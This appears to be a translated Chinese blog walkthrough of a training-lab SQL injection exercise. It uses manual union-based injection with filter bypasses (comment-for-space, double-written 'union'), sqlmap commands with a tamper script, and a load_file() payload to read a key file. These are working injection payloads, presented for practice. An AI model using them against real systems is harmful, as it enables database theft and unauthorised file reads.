当前位置:网站首页>SQL injection question type (manual injection +sqlmap)
SQL injection question type (manual injection +sqlmap)
2022-06-13 08:17:00 【BT youth】
subject : adopt SQL Injection vulnerability read /tmp/360/key file , The answer is in the file
Catalog
subject : adopt SQL Injection vulnerability read /tmp/360/key file , The answer is in the file
First of all to Manual injection ( use ’ as well as and perhaps or To check whether manual injection can be performed )


You can see id=1 Echo page for , Combined with the echo statement, it is found that the page is shielded union、<?php?>、 Space
therefore :
- use /**/ To display spaces
- use union Double writing bypasses
Input url:http://192.168.129.128:81/vulnerabilities/fu1.php?id=1')#
The execution statement is :select * from article where id= ('1')#')
Go to order by Check field 、 The judgment is only 4 A field
http://192.168.129.128:81/vulnerabilities/fu1.php?id=1')/**/order/**/by/**/4#
Show echo page
http://192.168.129.128:81/vulnerabilities/fu1.php?id=1')/**/order/**/by/**/5#
Do not display the echo page
And then use union Joint injection query :
http://192.168.129.128:81/vulnerabilities/fu1.php?id=-1')/**/uniunionon/**/select/**/1,2,3,4#

Perform explosion table, explosion library and field :(group_concat() function : Display the field contents of the branch as one line )
1、select group_concat(table_name) from information_schema.tables where table_schema=database()
- Name of Pop Watch :
- database :information_schema
- surface :tables
- Field :table_name
2、select group_concat(column_name) from information_schema.columns where table_name=' Table name '
- Pop field :
- database :infomation_schema
- surface :columns
- Field :column_name
It can be inferred that :
- Current database `2web`
- Current table article
- article Field has id,title,content,author
use sqlmap Tools For injection :(-u Specify injected site links ,--tamper Specify to prevent filtering of key characters , Such as spaces 、union)
python sqlmap.py -u "http://192.168.129.128:81/vulnerabilities/fu1.php?id=1" --tamper "F:\ Information \CISP-PTE\ tool kit \ Injection tool \sqlmap\tamper\space2comment.py"
The injection type is :boolean-based blind、time-based blind
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1') AND 1028=1028 AND ('OXUg'='OXUg
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1') AND (SELECT 7895 FROM (SELECT(SLEEP(5)))sSoM) AND ('YhuC'='YhuC
---List databases :
python sqlmap.py -u "http://192.168.129.128:81/vulnerabilities/fu1.php?id=1" --tamper "F:\ Information \CISP-PTE\ tool kit \ Injection tool \sqlmap\tamper\space2comment.py" --dbs
List `2web` Tables in the database
python sqlmap.py -u "http://192.168.129.128:81/vulnerabilities/fu1.php?id=1" --tamper "F:\ Information \CISP-PTE\ tool kit \ Injection tool \sqlmap\tamper\space2comment.py" -D `2web` --tables
List `2web` Database article What's in the table :
python sqlmap.py -u "http://192.168.129.128:81/vulnerabilities/fu1.php?id=1" --tamper "F:\ Information \CISP-PTE\ tool kit \ Injection tool \sqlmap\tamper\space2comment.py" -D `2web` -T article --dump
Found no data to find , Return to the topic : adopt SQL Inject holes Read /tmp/360/key file , The answer is in the file .
The absolute path of a known file , Go straight ahead load_file() Function to view local files
http://192.168.129.128:81/vulnerabilities/fu1.php?id=-1')/**/uniunionon/**/select/**/1,2,load_file('/tmp/360/key'),4#

Finally found key8 Value
边栏推荐
- Get properties of class
- How does the BD new tab plug-in log in?
- 【Emgu.CV】Emgu. CV. Example\ocr operation reports an error system IO. Filenotfoundexception: "failed to load file or assembly" system.drawing.common "
- 获取类的属性
- Which is the stronger fresh food distribution and sorting management system?
- Microservice system architecture construction I: Environment Construction
- Win10系统如何修改桌面路径
- Edge浏览器如何安装BdTab(BD)新标签页插件(图文教程)
- Basic operation of dfinity (ICP) development-4
- Dfinity (ICP) basic development tutorial-5
猜你喜欢

Local shooting range 2- file upload vulnerability (III) - Network Security

生鲜配送分拣管理系统哪家比较强?

es6删除对象的某个属性

Win10系统如何修改桌面路径

v-for生成的子组件列表删除第n行出现数据错乱问题

AcWing 1977. Information relay (base ring tree, parallel search set)

Edge browser uses bdtab new tab plug-in (BD new tab)

Effective Go - The Go Programming Language

19 | establish data path (bottom): instruction + operation =cpu

ERP 基础数据 概念
随机推荐
Local shooting range 2- file upload vulnerability (III) - Network Security
微服务项目搭建二:数据库设计
About redis encapsulation tool class using distributed locks
Go interface implementation principle [advanced level]: type_ interface struct
Is there any good management software to solve the problems faced by tea wholesalers
如何通过JS动态删除table中的数据行(保留head)
LeetCode-按奇偶排序数组
20 | pipeline oriented instruction design (Part 1): Modern CPU with multi-purpose
Unity exit Editor Mode
C盘爆满?简单几招教你释放、清理C盘几十G空间,最有效的C盘清理方法
本地靶场2-文件上传漏洞(三)-网络安全
汽配行业面临的难题用什么软件帮忙解决呢
Give code vitality -- the way to read code neatly
母婴用品批发行业使用管理软件提高效率 实现降本增效
Which is the stronger fresh food distribution and sorting management system?
SolidWorks修改工程图中文字字体的方法
IIS中的网站访问excel
【完全信息静态博弈-Nash均衡的特性】
获取类的属性
CCNP_ Bt-ospf big experiment (1)

